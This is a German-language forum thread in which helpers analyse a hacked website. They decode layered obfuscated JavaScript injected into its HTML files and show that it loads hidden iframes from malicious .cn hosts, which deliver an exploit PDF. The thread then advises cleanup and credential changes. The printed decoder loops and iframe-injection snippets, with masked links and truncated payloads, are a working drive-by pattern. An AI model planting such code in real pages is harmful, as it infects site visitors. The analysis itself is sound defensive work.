Attackierend gemeldete Website - Ratlos!?

    Nun, beim betreten deiner Seite bekam ich erstmal einen PDF Download präsentiert. Da in letzter Zeit Sicherheitslücken im Adobe Acrobat gefunden wurden, ist das wohl einer der Ansatzpunkte.

    Aufgefallen ist mir folgendes:


    Ich habe das Gefühl das gehört da nicht rein, verschüsseltes JavaScript ist eher ungewöhnlich. Solcher Code befindet sich übrigens in jeder deiner HTML Dateien.

    Ich würde die jegliche Zugangsdaten deines Webspace/Servers betreffend ändern und eine aktualisierung deiner Serversoftware veranlassen.

    Als ich deine Seite mit Opera und Safari (Win) besuchte,
    wurde mir eine Datei in meinen Temp-Ordner geschrieben,
    auf die sich sogleich mein Virenscanner gestürzt hat...

    Habe diese Datei in eine zip-Datei gepackt und zur Analysen an VirusTotal und VirScan.org gesandt.
    Hier deren Ergebnisse:
    http://www.virustotal.com/analisis/8bf31…53167c595a7f2ef
    http://virscan.org/report/09727c3…fe508e6218.html

    Gruß
    Wawuschel

    Einmal editiert, zuletzt von Anonymous (13. April 2009 um 14:17)

    OK.

    Zu den infizierten Dateien, soll ich die alle löschen und nochmal neu draufladen oder kann man diesen "Code" der da seinen Unfug treibt irgendwie entfernen?

    Zum Update der Serversoftware müsste ich mich an den Hoster wenden wenn ich das richtig interpretiere, wie stehen da die Chancen dass der das auch macht?

    Entschuldigt die vielen Fragen, mein Fachgebiet ist Jura, habe mit Informatik/ EDV leider wenig tieferen Einblick als der übliche Standart sag ich mal.


    Aber dank euch, bis jetzt seit ihr mir ne Super Hilfe! :)

    Die Dateien musst du nicht löschen. Das simple entfernen des script Zeugs reicht. Aber das

    Code
    <body>

    bitte drinlassen, das ist ganz lieb und gehört da rein.

    Aber du musst natürlich vorbeugen das sowas nicht nochmal passiert. Sämtliche (wirklich alles!) Zugangsdaten für deinen Webspace ändern und den Serverbetreiber auf dein Problem hindeuten, vielleicht können die ja rausfinden wie das reingekommen ist und das Loch beheben.

    P.S.: Wir helfen doch gerne :wink: .

    Simon1983 wrote:

    Zitat

    Aufgefallen ist mir folgendes:

    Code
    <body><script>eval(unescape('%u002f%u002a%u0068%u006b%u0069%
...


    Ergibt (von Kommentaren bereinigt und Variableninhalt verkürzt) zunächst:

    Code
    var yivxy="09020818...1149";
var slxdr="";
for(var hajxnr=3;hajxnr<yivxy.length;hajxnr+=3)
  slxdr+=String.fromCharCode(yivxy.substring(hajxnr,hajxnr+3)-yivxy.substring(0,3));
setTimeout("eval(slxdr);",100);


    Die Variable yivxy enthält eine weitere Kodierung, die über die Schleife aufgelöst wird. Der Inhalt der Variablen slxdr wird im Anschluss dann ausgewertet und ergibt (Link maskiert):

    Code
    var q0=document.createElement('iframe');
q0.src='h**p://bestfindahome.cn/home.html';
q0.style.display='none';
document.body.appendChild(q0);


    Eine Einbindung über IFrame, die wieder auf kodierten JS-Code führt. Diesen ausgewertet (verkürzt und bereinigt) ergibt:

    Code
    s = ">khtcog\"ute?)jvvr...khtcog@";
for(i=/0; i<s.length;i++) { document.write(String.fromCharCode(s.charCodeAt(i)-2)); }


    Der Code schreibt wiederum zwei IFrames in die Seite (Links maskiert):

    Code
    <iframe src='h**p://bestfindahome.cn/kitchen.html' width='0' height='0'></iframe><iframe src='h**p://bestfindahome.cn/watchman.html' width='0' height='0'></iframe>


    Der erste IFrame enthält dann wieder eine solche Kodierung und führt zu einer IFrame-Einbindung der Seite h**p://http://tixwagoq.cn/in.cgi?4
    Dort findet sich dann schließlich die Weiterleitung zu dem mit Schadcode behafteten PDF.

    Zitat

    Nun, beim betreten deiner Seite bekam ich erstmal einen PDF Download präsentiert.

    Es ist nicht empfehlenswert (insbesondere für unbedarfte User) so eine Seite mit Produktivsystemen oder ohne zusätzliche Vorkehrungen zu betreten. Man sollte sich nicht auf AV/FW-Software verlassen, auch 0day-Lücken könnten dort ausgenutzt werden. In einem so gelagerten Fall sollte man vor allem weder mit aktivierten Plugins noch mit aktivem JS die Seite aufrufen.
    Ist übrigens hier auch einmal ein Beispiel, dass die Nützlichkeit von NoScript verdeutlicht.

    Heyho,

    hab das ganze erstmal dem Hoster gemeldet und der hat die HMTL seiten in ein Verzeichniss gesteckt, damit dass erst mal weg ist.

    Wenn ich dass richtig verstanden habe, hängt das zeug jetz praktisch in den HMTL dateien drinne? Und sobld ich die Java Codes da raus haben dürfte es erstmal "Clean" sein?


    mfg

    Dann wäre das Symptom beseitigt, aber nicht die Ursache. Du solltest (ggf. zusammen mit dem Hoster) analysieren, wie es zu dem Einbruch kam und diese Lücke schließen. Wurde aber schon darauf hingewiesen.

    Zitat von boardraider

    Dann wäre das Symptom beseitigt, aber nicht die Ursache. Du solltest (ggf. zusammen mit dem Hoster) analysieren, wie es zu dem Einbruch kam und diese Lücke schließen. Wurde aber schon darauf hingewiesen.

    Der meinte nur zusätzliche Sicherheitssoftware draufhauen... Nich gerade sonderlich gesprächlich der Typ :roll:

    Zusätzliche Sicherheitssoftware? Auf seinem System? Soll er doch machen *eg*
    Im Ernst, ich habe leider nicht sehen können, welche Software du selbst dort einsetzt, ggf. findet sich auch in der Hinsicht die Schwachstelle.